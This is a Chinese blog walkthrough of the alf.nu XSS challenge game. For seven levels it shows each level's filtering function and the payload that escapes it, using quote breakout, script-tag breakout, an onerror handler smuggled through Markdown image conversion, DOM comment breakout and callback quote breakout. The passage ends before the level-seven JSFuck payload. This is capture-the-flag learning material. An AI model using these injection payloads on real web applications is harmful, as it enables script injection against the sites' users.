XSS攻击游戏通关

最新推荐文章于 2025-07-16 23:15:33 发布

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最新推荐文章于 2025-07-16 23:15:33 发布

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分类专栏：渗透 XSS

本文链接：https://blog.youkuaiyun.com/qq_38224315/article/details/91391483

本文介绍了XSS攻击的基本概念，并详细讲解了一款XSS攻击游戏的通关攻略，包括闭合引号、利用正则表达式漏洞、JSON.stringify的转义、Markdown与伪协议、DOM操作、Callback函数和FuckJs编码等技巧。

XSS攻击初探

XSS攻击全称跨站脚本攻击，是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆，故将跨站脚本攻击缩写为XSS，XSS是一种在web应用中的计算机安全漏洞，它允许恶意web用户将代码植入到提供给其它用户使用的页面中。

游戏链接为：https://alf.nu/alert(1) 只要成功alert(1)即为攻击成功

第一关：Warmup
关卡方法为：

function escape(s) {
   
   
  return '<script>console.log("'+s+'");</script>';
}

这个方法并没有对参数进行任何操作，则闭合引号，即可完成注入，有效payload为：

");alert(1)//

成功注入的代码为

<script>console.log("");alert(1)//");</script>

2.第二关：Adobe
关卡方法为：

function escape(s) {
   
   
 s = s.replace(/"/g, '\\"');
 return '<script>console.log("' + s + '");</script>';
}

使用正则表达式替换了其中的" 进行转义后使用console.log进行输出
在注入时，闭合前一个字符串script，注释后面的括号和冒号即可
payload：

</script><script>alert(1)<!--

生成的代码为注入成功
3. 第三关JSON
关卡方法为：

function escape(s) {
   
   
 s = JSON.stringify(s);
 return '<script>console.log(' + s + ');</script>';
}

JSON.stringify方法会对内容进行转义为Json字符串，其中转义内容包括

["\u0000", "\u0001", "\u0002", "\u0003", "\u0004", "\u0005", "\u0006", "\u0007", "\b", "\t", "\n", "\u000b", "\f", "\r", "\u000e", "\u000f", "\u0010", "\u0011", "\u0012", "\u0013", "\u0014", "\u0015", "\u0016", "\u0017", "\u0018", "\u0019", "\u001a", "\u001b", "\u001c", "\u001d", "\u001e", "\u001f", "\"", "\\"];

其中不包含< > ’ /这些方法。所以有效payload为

</script><script> alert(1)<!--

生成代码为

<script>console.log("</script><script> alert(1)<!--");</script>

4.第四关： Markdown
关卡代码为：

function escape(s) {
   
   
  var text = s.replace(/</g, '&lt;').replace(/"/g, '&quot;');
  // URLs
  text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
  // [[img123|Description]]
  text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
  return text;
}

第一行代码为替换所有的<符号，第二行代码会对所有的http://转换为'<a href="$1">$1</a>')那么第三行代码会匹配所有的[[img123|Description]]，转换为'<img alt="$2" src="$1.gif">');这里可以看出本关卡主要考察的是伪协议，构造a标签，闭合image的alt，触发onerror函数完成alert即可
payload为

[[1|http://οnerrοr=alert(1)//]]

生成代码为

<img alt="<a href="http://onerror=alert(1)//" src="1.gif">">http://οnerrοr=alert(1)//]]</a>

第五关：DOM
关卡代码为:

function escape(s) {
   
   
  // Slightly too lazy to make two input fields.
  // Pass in something like "TextNode#foo"
  var m = s.split(/#/);

  // Only slightly contrived at this point.
  var a = document.createElement('div');
  a.appendChild(document['create'+m[0]].apply(document, m.slice(1)));
  return a.innerHTML;
}

可知，截取 $1#$2字符串，创建DIV，通过$2来生成字符串，插入创建的$1 document，将document放入DIV来达到页面渲染的效果，如此，生成一个Comment注释，来达到XSS的目的。
payload为

Comment#--><script>alert(1)</script

生成代码

<!----><script>alert(1)</script -->

6.第六关：CallBack
关卡代码为：

function escape(s) {
   
   
  // Pass inn "callback#userdata"
  var thing = s.split(/#/); 

  if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
  var obj = {
   
   'userdata': thing[1] };
  var json = JSON.stringify(obj).replace(/</g, '\\u003c');
  return "<script>" + thing[0] + "(" + json +")</script>";
}

thing[0]允许a-z A-Z和[]’，而json.stringify对\ " <进行转义，既然thing允许单引号的存在，那么通过单引号截断括号即可
payload为

‘#‘;alert(1)//

生成代码为：

<script>'({"userdata":"';alert(1)//"})</script>

第七关：Skandia
关卡代码为：

function escape(s) {
   
   
  return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

关卡代码将所有的字符都变成了大写，比如alert变成了ALERT，但是实际上Js并不会识别大写。那么这里就有点取巧了，用不是js的代码来执行js。之前做CTF解密的时候了解了FuckJs，通过()+[]!来对js进行解析，alert(1);经过解析后，代码为：

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